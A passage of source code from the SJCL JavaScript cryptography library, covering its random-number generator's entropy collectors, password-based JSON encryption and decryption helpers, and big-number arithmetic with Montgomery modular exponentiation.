                this._pools[robin].update([id, this._eventId++, 3, estimatedEntropy, t, data.length]);
                this._pools[robin].update(data);
                break;

            default:
                err = 1;
        }
        if (err) {
            throw new sjcl.exception.bug("random: addEntropy only supports number, array of numbers or string");
        }

        /* record the new strength */
        this._poolEntropy[robin] += estimatedEntropy;
        this._poolStrength += estimatedEntropy;

        /* fire off events */
        if (oldReady === this._NOT_READY) {
            if (this.isReady() !== this._NOT_READY) {
                this._fireEvent("seeded", Math.max(this._strength, this._poolStrength));
            }
            this._fireEvent("progress", this.getProgress());
        }
    },

    /** Is the generator ready? */
    isReady: function (paranoia) {
        var entropyRequired = this._PARANOIA_LEVELS[(paranoia !== undefined) ? paranoia : this._defaultParanoia];

        if (this._strength && this._strength >= entropyRequired) {
            return (this._poolEntropy[0] > this._BITS_PER_RESEED && (new Date()).valueOf() > this._nextReseed) ?
                this._REQUIRES_RESEED | this._READY :
                this._READY;
        } else {
            return (this._poolStrength >= entropyRequired) ?
                this._REQUIRES_RESEED | this._NOT_READY :
                this._NOT_READY;
        }
    },

    /** Get the generator's progress toward readiness, as a fraction */
    getProgress: function (paranoia) {
        var entropyRequired = this._PARANOIA_LEVELS[paranoia ? paranoia : this._defaultParanoia];

        if (this._strength >= entropyRequired) {
            return 1.0;
        } else {
            return (this._poolStrength > entropyRequired) ?
                1.0 :
                this._poolStrength / entropyRequired;
        }
    },

    /** start the built-in entropy collectors */
    startCollectors: function () {
        if (this._collectorsStarted) {
            return;
        }

        this._eventListener = {
            loadTimeCollector: this._bind(this._loadTimeCollector),
            mouseCollector: this._bind(this._mouseCollector),
            keyboardCollector: this._bind(this._keyboardCollector),
            accelerometerCollector: this._bind(this._accelerometerCollector),
            touchCollector: this._bind(this._touchCollector)
        };

        if (window.addEventListener) {
            window.addEventListener("load", this._eventListener.loadTimeCollector, false);
            window.addEventListener("mousemove", this._eventListener.mouseCollector, false);
            window.addEventListener("keypress", this._eventListener.keyboardCollector, false);
            window.addEventListener("devicemotion", this._eventListener.accelerometerCollector, false);
            window.addEventListener("touchmove", this._eventListener.touchCollector, false);
        } else if (document.attachEvent) {
            document.attachEvent("onload", this._eventListener.loadTimeCollector);
            document.attachEvent("onmousemove", this._eventListener.mouseCollector);
            document.attachEvent("keypress", this._eventListener.keyboardCollector);
        } else {
            throw new sjcl.exception.bug("can't attach event");
        }

        this._collectorsStarted = true;
    },

    /** stop the built-in entropy collectors */
    stopCollectors: function () {
        if (!this._collectorsStarted) {
            return;
        }

        if (window.removeEventListener) {
            window.removeEventListener("load", this._eventListener.loadTimeCollector, false);
            window.removeEventListener("mousemove", this._eventListener.mouseCollector, false);
            window.removeEventListener("keypress", this._eventListener.keyboardCollector, false);
            window.removeEventListener("devicemotion", this._eventListener.accelerometerCollector, false);
            window.removeEventListener("touchmove", this._eventListener.touchCollector, false);
        } else if (document.detachEvent) {
            document.detachEvent("onload", this._eventListener.loadTimeCollector);
            document.detachEvent("onmousemove", this._eventListener.mouseCollector);
            document.detachEvent("keypress", this._eventListener.keyboardCollector);
        }

        this._collectorsStarted = false;
    },

    /* use a cookie to store entropy.
    useCookie: function (all_cookies) {
        throw new sjcl.exception.bug("random: useCookie is unimplemented");
    },*/

    /** add an event listener for progress or seeded-ness. */
    addEventListener: function (name, callback) {
        this._callbacks[name][this._callbackI++] = callback;
    },

    /** remove an event listener for progress or seeded-ness */
    removeEventListener: function (name, cb) {
        var i, j, cbs = this._callbacks[name],
            jsTemp = [];

        /* I'm not sure if this is necessary; in C++, iterating over a
         * collection and modifying it at the same time is a no-no.
         */

        for (j in cbs) {
            if (cbs.hasOwnProperty(j) && cbs[j] === cb) {
                jsTemp.push(j);
            }
        }

        for (i = 0; i < jsTemp.length; i++) {
            j = jsTemp[i];
            delete cbs[j];
        }
    },

    _bind: function (func) {
        var that = this;
        return function () {
            func.apply(that, arguments);
        };
    },

    /** Generate 4 random words, no reseed, no gate.
     * @private
     */
    _gen4words: function () {
        for (var i = 0; i < 4; i++) {
            this._counter[i] = this._counter[i] + 1 | 0;
            if (this._counter[i]) {
                break;
            }
        }
        return this._cipher.encrypt(this._counter);
    },

    /* Rekey the AES instance with itself after a request, or every _MAX_WORDS_PER_BURST words.
     * @private
     */
    _gate: function () {
        this._key = this._gen4words().concat(this._gen4words());
        this._cipher = new sjcl.cipher.aes(this._key);
    },

    /** Reseed the generator with the given words
     * @private
     */
    _reseed: function (seedWords) {
        this._key = sjcl.hash.sha256.hash(this._key.concat(seedWords));
        this._cipher = new sjcl.cipher.aes(this._key);
        for (var i = 0; i < 4; i++) {
            this._counter[i] = this._counter[i] + 1 | 0;
            if (this._counter[i]) {
                break;
            }
        }
    },

    /** reseed the data from the entropy pools
     * @param full If set, use all the entropy pools in the reseed.
     */
    _reseedFromPools: function (full) {
        var reseedData = [],
            strength = 0,
            i;

        this._nextReseed = reseedData[0] =
            (new Date()).valueOf() + this._MILLISECONDS_PER_RESEED;

        for (i = 0; i < 16; i++) {
            /* On some browsers, this is cryptographically random.  So we might
             * as well toss it in the pot and stir...
             */
            reseedData.push(Math.random() * 0x100000000 | 0);
        }

        for (i = 0; i < this._pools.length; i++) {
            reseedData = reseedData.concat(this._pools[i].finalize());
            strength += this._poolEntropy[i];
            this._poolEntropy[i] = 0;

            if (!full && (this._reseedCount & (1 << i))) {
                break;
            }
        }

        /* if we used the last pool, push a new one onto the stack */
        if (this._reseedCount >= 1 << this._pools.length) {
            this._pools.push(new sjcl.hash.sha256());
            this._poolEntropy.push(0);
        }

        /* how strong was this reseed? */
        this._poolStrength -= strength;
        if (strength > this._strength) {
            this._strength = strength;
        }

        this._reseedCount++;
        this._reseed(reseedData);
    },

    _keyboardCollector: function () {
        this._addCurrentTimeToEntropy(1);
    },

    _mouseCollector: function (ev) {
        var x, y;

        try {
            x = ev.x || ev.clientX || ev.offsetX || 0;
            y = ev.y || ev.clientY || ev.offsetY || 0;
        } catch (err) {
            // Event originated from a secure element. No mouse position available.
            x = 0;
            y = 0;
        }

        if (x != 0 && y != 0) {
            this.addEntropy([x, y], 2, "mouse");
        }

        this._addCurrentTimeToEntropy(0);
    },

    _touchCollector: function (ev) {
        var touch = ev.touches[0] || ev.changedTouches[0];
        var x = touch.pageX || touch.clientX,
            y = touch.pageY || touch.clientY;

        this.addEntropy([x, y], 1, "touch");

        this._addCurrentTimeToEntropy(0);
    },

    _loadTimeCollector: function () {
        this._addCurrentTimeToEntropy(2);
    },

    _addCurrentTimeToEntropy: function (estimatedEntropy) {
        if (typeof window !== 'undefined' && window.performance && typeof window.performance.now === "function") {
            //how much entropy do we want to add here?
            this.addEntropy(window.performance.now(), estimatedEntropy, "loadtime");
        } else {
            this.addEntropy((new Date()).valueOf(), estimatedEntropy, "loadtime");
        }
    },
    _accelerometerCollector: function (ev) {
        var ac = ev.accelerationIncludingGravity.x || ev.accelerationIncludingGravity.y || ev.accelerationIncludingGravity.z;
        if (window.orientation) {
            var or = window.orientation;
            if (typeof or === "number") {
                this.addEntropy(or, 1, "accelerometer");
            }
        }
        if (ac) {
            this.addEntropy(ac, 2, "accelerometer");
        }
        this._addCurrentTimeToEntropy(0);
    },

    _fireEvent: function (name, arg) {
        var j, cbs = sjcl.random._callbacks[name],
            cbsTemp = [];
        /* TODO: there is a race condition between removing collectors and firing them */

        /* I'm not sure if this is necessary; in C++, iterating over a
         * collection and modifying it at the same time is a no-no.
         */

        for (j in cbs) {
            if (cbs.hasOwnProperty(j)) {
                cbsTemp.push(cbs[j]);
            }
        }

        for (j = 0; j < cbsTemp.length; j++) {
            cbsTemp[j](arg);
        }
    }
};

/** an instance for the prng.
 * @see sjcl.prng
 */
sjcl.random = new sjcl.prng(6);

(function () {
    // function for getting nodejs crypto module. catches and ignores errors.
    function getCryptoModule() {
        try {
            return require('crypto');
        } catch (e) {
            return null;
        }
    }

    try {
        var buf, crypt, ab;

        // get cryptographically strong entropy depending on runtime environment
        if (typeof module !== 'undefined' && module.exports && (crypt = getCryptoModule()) && crypt.randomBytes) {
            buf = crypt.randomBytes(1024 / 8);
            buf = new Uint32Array(new Uint8Array(buf).buffer);
            sjcl.random.addEntropy(buf, 1024, "crypto.randomBytes");

        } else if (typeof window !== 'undefined' && typeof Uint32Array !== 'undefined') {
            ab = new Uint32Array(32);
            if (window.crypto && window.crypto.getRandomValues) {
                window.crypto.getRandomValues(ab);
            } else if (window.msCrypto && window.msCrypto.getRandomValues) {
                window.msCrypto.getRandomValues(ab);
            } else {
                return;
            }

            // get cryptographically strong entropy in Webkit
            sjcl.random.addEntropy(ab, 1024, "crypto.getRandomValues");

        } else {
            // no getRandomValues :-(
        }
    } catch (e) {
        if (typeof window !== 'undefined' && window.console) {
            console.log("There was an error collecting entropy from the browser:");
            console.log(e);
            //we do not want the library to fail due to randomness not being maintained.
        }
    }
}());
/** @fileOverview Convenince functions centered around JSON encapsulation.
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */

/**
 * JSON encapsulation
 * @namespace
 */
sjcl.json = {
    /** Default values for encryption */
    defaults: {
        v: 1,
        iter: 10000,
        ks: 128,
        ts: 64,
        mode: "ccm",
        adata: "",
        cipher: "aes"
    },

    /** Simple encryption function.
     * @param {String|bitArray} password The password or key.
     * @param {String} plaintext The data to encrypt.
     * @param {Object} [params] The parameters including tag, iv and salt.
     * @param {Object} [rp] A returned version with filled-in parameters.
     * @return {Object} The cipher raw data.
     * @throws {sjcl.exception.invalid} if a parameter is invalid.
     */
    _encrypt: function (password, plaintext, params, rp) {
        params = params || {};
        rp = rp || {};

        var j = sjcl.json,
            p = j._add({
                    iv: sjcl.random.randomWords(4, 0)
                },
                j.defaults),
            tmp, prp, adata;
        j._add(p, params);
        adata = p.adata;
        if (typeof p.salt === "string") {
            p.salt = sjcl.codec.base64.toBits(p.salt);
        }
        if (typeof p.iv === "string") {
            p.iv = sjcl.codec.base64.toBits(p.iv);
        }

        if (!sjcl.mode[p.mode] ||
            !sjcl.cipher[p.cipher] ||
            (typeof password === "string" && p.iter <= 100) ||
            (p.ts !== 64 && p.ts !== 96 && p.ts !== 128) ||
            (p.ks !== 128 && p.ks !== 192 && p.ks !== 256) ||
            (p.iv.length < 2 || p.iv.length > 4)) {
            throw new sjcl.exception.invalid("json encrypt: invalid parameters");
        }

        if (typeof password === "string") {
            tmp = sjcl.misc.cachedPbkdf2(password, p);
            password = tmp.key.slice(0, p.ks / 32);
            p.salt = tmp.salt;
        } else if (sjcl.ecc && password instanceof sjcl.ecc.elGamal.publicKey) {
            tmp = password.kem();
            p.kemtag = tmp.tag;
            password = tmp.key.slice(0, p.ks / 32);
        }
        if (typeof plaintext === "string") {
            plaintext = sjcl.codec.utf8String.toBits(plaintext);
        }
        if (typeof adata === "string") {
            p.adata = adata = sjcl.codec.utf8String.toBits(adata);
        }
        prp = new sjcl.cipher[p.cipher](password);

        /* return the json data */
        j._add(rp, p);
        rp.key = password;

        /* do the encryption */
        if (p.mode === "ccm" && sjcl.arrayBuffer && sjcl.arrayBuffer.ccm && plaintext instanceof ArrayBuffer) {
            p.ct = sjcl.arrayBuffer.ccm.encrypt(prp, plaintext, p.iv, adata, p.ts);
        } else {
            p.ct = sjcl.mode[p.mode].encrypt(prp, plaintext, p.iv, adata, p.ts);
        }

        //return j.encode(j._subtract(p, j.defaults));
        return p;
    },

    /** Simple encryption function.
     * @param {String|bitArray} password The password or key.
     * @param {String} plaintext The data to encrypt.
     * @param {Object} [params] The parameters including tag, iv and salt.
     * @param {Object} [rp] A returned version with filled-in parameters.
     * @return {String} The ciphertext serialized data.
     * @throws {sjcl.exception.invalid} if a parameter is invalid.
     */
    encrypt: function (password, plaintext, params, rp) {
        var j = sjcl.json,
            p = j._encrypt.apply(j, arguments);
        return j.encode(p);
    },

    /** Simple decryption function.
     * @param {String|bitArray} password The password or key.
     * @param {Object} ciphertext The cipher raw data to decrypt.
     * @param {Object} [params] Additional non-default parameters.
     * @param {Object} [rp] A returned object with filled parameters.
     * @return {String} The plaintext.
     * @throws {sjcl.exception.invalid} if a parameter is invalid.
     * @throws {sjcl.exception.corrupt} if the ciphertext is corrupt.
     */
    _decrypt: function (password, ciphertext, params, rp) {
        params = params || {};
        rp = rp || {};

        var j = sjcl.json,
            p = j._add(j._add(j._add({}, j.defaults), ciphertext), params, true),
            ct, tmp, prp, adata = p.adata;
        if (typeof p.salt === "string") {
            p.salt = sjcl.codec.base64.toBits(p.salt);
        }
        if (typeof p.iv === "string") {
            p.iv = sjcl.codec.base64.toBits(p.iv);
        }

        if (!sjcl.mode[p.mode] ||
            !sjcl.cipher[p.cipher] ||
            (typeof password === "string" && p.iter <= 100) ||
            (p.ts !== 64 && p.ts !== 96 && p.ts !== 128) ||
            (p.ks !== 128 && p.ks !== 192 && p.ks !== 256) ||
            (!p.iv) ||
            (p.iv.length < 2 || p.iv.length > 4)) {
            throw new sjcl.exception.invalid("json decrypt: invalid parameters");
        }

        if (typeof password === "string") {
            tmp = sjcl.misc.cachedPbkdf2(password, p);
            password = tmp.key.slice(0, p.ks / 32);
            p.salt = tmp.salt;
        } else if (sjcl.ecc && password instanceof sjcl.ecc.elGamal.secretKey) {
            password = password.unkem(sjcl.codec.base64.toBits(p.kemtag)).slice(0, p.ks / 32);
        }
        if (typeof adata === "string") {
            adata = sjcl.codec.utf8String.toBits(adata);
        }
        prp = new sjcl.cipher[p.cipher](password);

        /* do the decryption */
        if (p.mode === "ccm" && sjcl.arrayBuffer && sjcl.arrayBuffer.ccm && p.ct instanceof ArrayBuffer) {
            ct = sjcl.arrayBuffer.ccm.decrypt(prp, p.ct, p.iv, p.tag, adata, p.ts);
        } else {
            ct = sjcl.mode[p.mode].decrypt(prp, p.ct, p.iv, adata, p.ts);
        }

        /* return the json data */
        j._add(rp, p);
        rp.key = password;

        if (params.raw === 1) {
            return ct;
        } else {
            return sjcl.codec.utf8String.fromBits(ct);
        }
    },

    /** Simple decryption function.
     * @param {String|bitArray} password The password or key.
     * @param {String} ciphertext The ciphertext to decrypt.
     * @param {Object} [params] Additional non-default parameters.
     * @param {Object} [rp] A returned object with filled parameters.
     * @return {String} The plaintext.
     * @throws {sjcl.exception.invalid} if a parameter is invalid.
     * @throws {sjcl.exception.corrupt} if the ciphertext is corrupt.
     */
    decrypt: function (password, ciphertext, params, rp) {
        var j = sjcl.json;
        return j._decrypt(password, j.decode(ciphertext), params, rp);
    },

    /** Encode a flat structure into a JSON string.
     * @param {Object} obj The structure to encode.
     * @return {String} A JSON string.
     * @throws {sjcl.exception.invalid} if obj has a non-alphanumeric property.
     * @throws {sjcl.exception.bug} if a parameter has an unsupported type.
     */
    encode: function (obj) {
        var i, out = '{',
            comma = '';
        for (i in obj) {
            if (obj.hasOwnProperty(i)) {
                if (!i.match(/^[a-z0-9]+$/i)) {
                    throw new sjcl.exception.invalid("json encode: invalid property name");
                }
                out += comma + '"' + i + '":';
                comma = ',';

                switch (typeof obj[i]) {
                    case 'number':
                    case 'boolean':
                        out += obj[i];
                        break;

                    case 'string':
                        out += '"' + escape(obj[i]) + '"';
                        break;

                    case 'object':
                        out += '"' + sjcl.codec.base64.fromBits(obj[i], 0) + '"';
                        break;

                    default:
                        throw new sjcl.exception.bug("json encode: unsupported type");
                }
            }
        }
        return out + '}';
    },

    /** Decode a simple (flat) JSON string into a structure.  The ciphertext,
     * adata, salt and iv will be base64-decoded.
     * @param {String} str The string.
     * @return {Object} The decoded structure.
     * @throws {sjcl.exception.invalid} if str isn't (simple) JSON.
     */
    decode: function (str) {
        str = str.replace(/\s/g, '');
        if (!str.match(/^\{.*\}$/)) {
            throw new sjcl.exception.invalid("json decode: this isn't json!");
        }
        var a = str.replace(/^\{|\}$/g, '').split(/,/),
            out = {},
            i, m;
        for (i = 0; i < a.length; i++) {
            if (!(m = a[i].match(/^\s*(?:(["']?)([a-z][a-z0-9]*)\1)\s*:\s*(?:(-?\d+)|"([a-z0-9+\/%*_.@=\-]*)"|(true|false))$/i))) {
                throw new sjcl.exception.invalid("json decode: this isn't json!");
            }
            if (m[3] != null) {
                out[m[2]] = parseInt(m[3], 10);
            } else if (m[4] != null) {
                out[m[2]] = m[2].match(/^(ct|adata|salt|iv)$/) ? sjcl.codec.base64.toBits(m[4]) : unescape(m[4]);
            } else if (m[5] != null) {
                out[m[2]] = m[5] === 'true';
            }
        }
        return out;
    },

    /** Insert all elements of src into target, modifying and returning target.
     * @param {Object} target The object to be modified.
     * @param {Object} src The object to pull data from.
     * @param {boolean} [requireSame=false] If true, throw an exception if any field of target differs from corresponding field of src.
     * @return {Object} target.
     * @private
     */
    _add: function (target, src, requireSame) {
        if (target === undefined) {
            target = {};
        }
        if (src === undefined) {
            return target;
        }
        var i;
        for (i in src) {
            if (src.hasOwnProperty(i)) {
                if (requireSame && target[i] !== undefined && target[i] !== src[i]) {
                    throw new sjcl.exception.invalid("required parameter overridden");
                }
                target[i] = src[i];
            }
        }
        return target;
    },

    /** Remove all elements of minus from plus.  Does not modify plus.
     * @private
     */
    _subtract: function (plus, minus) {
        var out = {},
            i;

        for (i in plus) {
            if (plus.hasOwnProperty(i) && plus[i] !== minus[i]) {
                out[i] = plus[i];
            }
        }

        return out;
    },

    /** Return only the specified elements of src.
     * @private
     */
    _filter: function (src, filter) {
        var out = {},
            i;
        for (i = 0; i < filter.length; i++) {
            if (src[filter[i]] !== undefined) {
                out[filter[i]] = src[filter[i]];
            }
        }
        return out;
    }
};

/** Simple encryption function; convenient shorthand for sjcl.json.encrypt.
 * @param {String|bitArray} password The password or key.
 * @param {String} plaintext The data to encrypt.
 * @param {Object} [params] The parameters including tag, iv and salt.
 * @param {Object} [rp] A returned version with filled-in parameters.
 * @return {String} The ciphertext.
 */
sjcl.encrypt = sjcl.json.encrypt;

/** Simple decryption function; convenient shorthand for sjcl.json.decrypt.
 * @param {String|bitArray} password The password or key.
 * @param {String} ciphertext The ciphertext to decrypt.
 * @param {Object} [params] Additional non-default parameters.
 * @param {Object} [rp] A returned object with filled parameters.
 * @return {String} The plaintext.
 */
sjcl.decrypt = sjcl.json.decrypt;

/** The cache for cachedPbkdf2.
 * @private
 */
sjcl.misc._pbkdf2Cache = {};

/** Cached PBKDF2 key derivation.
 * @param {String} password The password.
 * @param {Object} [obj] The derivation params (iteration count and optional salt).
 * @return {Object} The derived data in key, the salt in salt.
 */
sjcl.misc.cachedPbkdf2 = function (password, obj) {
    var cache = sjcl.misc._pbkdf2Cache,
        c, cp, str, salt, iter;

    obj = obj || {};
    iter = obj.iter || 1000;

    /* open the cache for this password and iteration count */
    cp = cache[password] = cache[password] || {};
    c = cp[iter] = cp[iter] || {
        firstSalt: (obj.salt && obj.salt.length) ?
            obj.salt.slice(0) : sjcl.random.randomWords(2, 0)
    };

    salt = (obj.salt === undefined) ? c.firstSalt : obj.salt;

    c[salt] = c[salt] || sjcl.misc.pbkdf2(password, salt, obj.iter);
    return {
        key: c[salt].slice(0),
        salt: salt.slice(0)
    };
};
/**
 * Constructs a new bignum from another bignum, a number or a hex string.
 * @constructor
 */
sjcl.bn = function (it) {
    this.initWith(it);
};

sjcl.bn.prototype = {
    radix: 24,
    maxMul: 8,
    _class: sjcl.bn,

    copy: function () {
        return new this._class(this);
    },

    /**
     * Initializes this with it, either as a bn, a number, or a hex string.
     */
    initWith: function (it) {
        var i = 0,
            k;
        switch (typeof it) {
            case "object":
                this.limbs = it.limbs.slice(0);
                break;

            case "number":
                this.limbs = [it];
                this.normalize();
                break;

            case "string":
                it = it.replace(/^0x/, '');
                this.limbs = [];
                // hack
                k = this.radix / 4;
                for (i = 0; i < it.length; i += k) {
                    this.limbs.push(parseInt(it.substring(Math.max(it.length - i - k, 0), it.length - i), 16));
                }
                break;

            default:
                this.limbs = [0];
        }
        return this;
    },

    /**
     * Returns true if "this" and "that" are equal.  Calls fullReduce().
     * Equality test is in constant time.
     */
    equals: function (that) {
        if (typeof that === "number") {
            that = new this._class(that);
        }
        var difference = 0,
            i;
        this.fullReduce();
        that.fullReduce();
        for (i = 0; i < this.limbs.length || i < that.limbs.length; i++) {
            difference |= this.getLimb(i) ^ that.getLimb(i);
        }
        return (difference === 0);
    },

    /**
     * Get the i'th limb of this, zero if i is too large.
     */
    getLimb: function (i) {
        return (i >= this.limbs.length) ? 0 : this.limbs[i];
    },

    /**
     * Constant time comparison function.
     * Returns 1 if this >= that, or zero otherwise.
     */
    greaterEquals: function (that) {
        if (typeof that === "number") {
            that = new this._class(that);
        }
        var less = 0,
            greater = 0,
            i, a, b;
        i = Math.max(this.limbs.length, that.limbs.length) - 1;
        for (; i >= 0; i--) {
            a = this.getLimb(i);
            b = that.getLimb(i);
            greater |= (b - a) & ~less;
            less |= (a - b) & ~greater;
        }
        return (greater | ~less) >>> 31;
    },

    /**
     * Convert to a hex string.
     */
    toString: function () {
        this.fullReduce();
        var out = "",
            i, s, l = this.limbs;
        for (i = 0; i < this.limbs.length; i++) {
            s = l[i].toString(16);
            while (i < this.limbs.length - 1 && s.length < 6) {
                s = "0" + s;
            }
            out = s + out;
        }
        return "0x" + out;
    },

    /** this += that.  Does not normalize. */
    addM: function (that) {
        if (typeof (that) !== "object") {
            that = new this._class(that);
        }
        var i, l = this.limbs,
            ll = that.limbs;
        for (i = l.length; i < ll.length; i++) {
            l[i] = 0;
        }
        for (i = 0; i < ll.length; i++) {
            l[i] += ll[i];
        }
        return this;
    },

    /** this *= 2.  Requires normalized; ends up normalized. */
    doubleM: function () {
        var i, carry = 0,
            tmp, r = this.radix,
            m = this.radixMask,
            l = this.limbs;
        for (i = 0; i < l.length; i++) {
            tmp = l[i];
            tmp = tmp + tmp + carry;
            l[i] = tmp & m;
            carry = tmp >> r;
        }
        if (carry) {
            l.push(carry);
        }
        return this;
    },

    /** this /= 2, rounded down.  Requires normalized; ends up normalized. */
    halveM: function () {
        var i, carry = 0,
            tmp, r = this.radix,
            l = this.limbs;
        for (i = l.length - 1; i >= 0; i--) {
            tmp = l[i];
            l[i] = (tmp + carry) >> 1;
            carry = (tmp & 1) << r;
        }
        if (!l[l.length - 1]) {
            l.pop();
        }
        return this;
    },

    /** this -= that.  Does not normalize. */
    subM: function (that) {
        if (typeof (that) !== "object") {
            that = new this._class(that);
        }
        var i, l = this.limbs,
            ll = that.limbs;
        for (i = l.length; i < ll.length; i++) {
            l[i] = 0;
        }
        for (i = 0; i < ll.length; i++) {
            l[i] -= ll[i];
        }
        return this;
    },

    mod: function (that) {
        var neg = !this.greaterEquals(new sjcl.bn(0));

        that = new sjcl.bn(that).normalize(); // copy before we begin
        var out = new sjcl.bn(this).normalize(),
            ci = 0;

        if (neg) out = (new sjcl.bn(0)).subM(out).normalize();

        for (; out.greaterEquals(that); ci++) {
            that.doubleM();
        }

        if (neg) out = that.sub(out).normalize();

        for (; ci > 0; ci--) {
            that.halveM();
            if (out.greaterEquals(that)) {
                out.subM(that).normalize();
            }
        }
        return out.trim();
    },

    /** return inverse mod prime p.  p must be odd. Binary extended Euclidean algorithm mod p. */
    inverseMod: function (p) {
        var a = new sjcl.bn(1),
            b = new sjcl.bn(0),
            x = new sjcl.bn(this),
            y = new sjcl.bn(p),
            tmp, i, nz = 1;

        if (!(p.limbs[0] & 1)) {
            throw (new sjcl.exception.invalid("inverseMod: p must be odd"));
        }

        // invariant: y is odd
        do {
            if (x.limbs[0] & 1) {
                if (!x.greaterEquals(y)) {
                    // x < y; swap everything
                    tmp = x;
                    x = y;
                    y = tmp;
                    tmp = a;
                    a = b;
                    b = tmp;
                }
                x.subM(y);
                x.normalize();

                if (!a.greaterEquals(b)) {
                    a.addM(p);
                }
                a.subM(b);
            }

            // cut everything in half
            x.halveM();
            if (a.limbs[0] & 1) {
                a.addM(p);
            }
            a.normalize();
            a.halveM();

            // check for termination: x ?= 0
            for (i = nz = 0; i < x.limbs.length; i++) {
                nz |= x.limbs[i];
            }
        } while (nz);

        if (!y.equals(1)) {
            throw (new sjcl.exception.invalid("inverseMod: p and x must be relatively prime"));
        }

        return b;
    },

    /** this + that.  Does not normalize. */
    add: function (that) {
        return this.copy().addM(that);
    },

    /** this - that.  Does not normalize. */
    sub: function (that) {
        return this.copy().subM(that);
    },

    /** this * that.  Normalizes and reduces. */
    mul: function (that) {
        if (typeof (that) === "number") {
            that = new this._class(that);
        }
        var i, j, a = this.limbs,
            b = that.limbs,
            al = a.length,
            bl = b.length,
            out = new this._class(),
            c = out.limbs,
            ai, ii = this.maxMul;

        for (i = 0; i < this.limbs.length + that.limbs.length + 1; i++) {
            c[i] = 0;
        }
        for (i = 0; i < al; i++) {
            ai = a[i];
            for (j = 0; j < bl; j++) {
                c[i + j] += ai * b[j];
            }

            if (!--ii) {
                ii = this.maxMul;
                out.cnormalize();
            }
        }
        return out.cnormalize().reduce();
    },

    /** this ^ 2.  Normalizes and reduces. */
    square: function () {
        return this.mul(this);
    },

    /** this ^ n.  Uses square-and-multiply.  Normalizes and reduces. */
    power: function (l) {
        l = new sjcl.bn(l).normalize().trim().limbs;
        var i, j, out = new this._class(1),
            pow = this;

        for (i = 0; i < l.length; i++) {
            for (j = 0; j < this.radix; j++) {
                if (l[i] & (1 << j)) {
                    out = out.mul(pow);
                }
                if (i == (l.length - 1) && l[i] >> (j + 1) == 0) {
                    break;
                }

                pow = pow.square();
            }
        }

        return out;
    },

    /** this * that mod N */
    mulmod: function (that, N) {
        return this.mod(N).mul(that.mod(N)).mod(N);
    },

    /** this ^ x mod N */
    powermod: function (x, N) {
        x = new sjcl.bn(x);
        N = new sjcl.bn(N);

        // Jump to montpowermod if possible.
        if ((N.limbs[0] & 1) == 1) {
            var montOut = this.montpowermod(x, N);

            if (montOut != false) {
                return montOut;
            } // else go to slow powermod
        }

        var i, j, l = x.normalize().trim().limbs,
            out = new this._class(1),
            pow = this;

        for (i = 0; i < l.length; i++) {
            for (j = 0; j < this.radix; j++) {
                if (l[i] & (1 << j)) {
                    out = out.mulmod(pow, N);
                }
                if (i == (l.length - 1) && l[i] >> (j + 1) == 0) {
                    break;
                }

                pow = pow.mulmod(pow, N);
            }
        }

        return out;
    },

    /** this ^ x mod N with Montomery reduction */
    montpowermod: function (x, N) {
        x = new sjcl.bn(x).normalize().trim();
        N = new sjcl.bn(N);

        var i, j,
            radix = this.radix,
            out = new this._class(1),
            pow = this.copy();

        // Generate R as a cap of N.
        var R, s, wind, bitsize = x.bitLength();

        R = new sjcl.bn({
            limbs: N.copy().normalize().trim().limbs.map(function () {
                return 0;
            })
        });

        for (s = this.radix; s > 0; s--) {
            if (((N.limbs[N.limbs.length - 1] >> s) & 1) == 1) {
                R.limbs[R.limbs.length - 1] = 1 << s;
                break;
            }
        }

        // Calculate window size as a function of the exponent's size.
        if (bitsize == 0) {
            return this;
        } else if (bitsize < 18) {
            wind = 1;
        } else if (bitsize < 48) {
            wind = 3;
        } else if (bitsize < 144) {
            wind = 4;
        } else if (bitsize < 768) {
            wind = 5;
        } else {
            wind = 6;
        }

        // Find R' and N' such that R * R' - N * N' = 1.
        var RR = R.copy(),
            NN = N.copy(),
            RP = new sjcl.bn(1),
            NP = new sjcl.bn(0),
            RT = R.copy();

        while (RT.greaterEquals(1)) {
            RT.halveM();

            if ((RP.limbs[0] & 1) == 0) {
                RP.halveM();
                NP.halveM();
            } else {
                RP.addM(NN);
                RP.halveM();

                NP.halveM();
                NP.addM(RR);
            }
        }

        RP = RP.normalize();
        NP = NP.normalize();

        RR.doubleM();
        var R2 = RR.mulmod(RR, N);

        // Check whether the invariant holds.
        // If it doesn't, we can't use Montgomery reduction on this modulus.
        if (!RR.mul(RP).sub(N.mul(NP)).equals(1)) {
            return false;
        }

        var montIn = function (c) {
                return montMul(c, R2);
            },
            montMul = function (a, b) {
                // Standard Montgomery reduction
                var k, carry, ab, right, abBar, mask = (1 << (s + 1)) - 1;

                ab = a.mul(b);

                right = ab.mul(NP);
                right.limbs = right.limbs.slice(0, R.limbs.length);

                if (right.limbs.length == R.limbs.length) {
                    right.limbs[R.limbs.length - 1] &= mask;
                }

                right = right.mul(N);

                abBar = ab.add(right).normalize().trim();
                abBar.limbs = abBar.limbs.slice(R.limbs.length - 1);

                // Division.  Equivelent to calling *.halveM() s times.
                for (k = 0; k < abBar.limbs.length; k++) {
                    if (k > 0) {
                        abBar.limbs[k - 1] |= (abBar.limbs[k] & mask) << (radix - s - 1);
                    }

                    abBar.limbs[k] = abBar.limbs[k] >> (s + 1);
                }

                if (abBar.greaterEquals(N)) {
                    abBar.subM(N);
                }

                return abBar;
            },
            montOut = function (c) {
                return montMul(c, 1);
            };

        pow = montIn(pow);
        out = montIn(out);

        // Sliding-Window Exponentiation (HAC 14.85)
        var h, precomp = {},
            cap = (1 << (wind - 1)) - 1;

        precomp[1] = pow.copy();
        precomp[2] = montMul(pow, pow);

        for (h = 1; h <= cap; h++) {
            precomp[(2 * h) + 1] = montMul(precomp[(2 * h) - 1], precomp[2]);
        }

        var getBit = function (exp, i) { // Gets ith bit of exp.
            var off = i % exp.radix;

            return (exp.limbs[Math.floor(i / exp.radix)] & (1 << off)) >> off;
        };

        for (i = x.bitLength() - 1; i >= 0;) {
            if (getBit(x, i) == 0) {
                // If the next bit is zero:
                //   Square, move forward one bit.
                out = montMul(out, out);
                i = i - 1;
            } else {
                // If the next bit is one:
                //   Find the longest sequence of bits after this one, less than `wind`
                //   bits long, that ends with a 1.  Convert the sequence into an
                //   integer and look up the pre-computed value to add.
                var l = i - wind + 1;

                while (getBit(x, l) == 0) {
                    l++;
                }

                var indx = 0;
                for (j = l; j <= i; j++) {
                    indx += getBit(x, j) << (j - l);
                    out = montMul(out, out);
                }

                out = montMul(out, precomp[indx]);

                i = l - 1;
            }
        }

        return montOut(out);
    },

    trim: function () {
        var l = this.limbs,
            p;
        do {
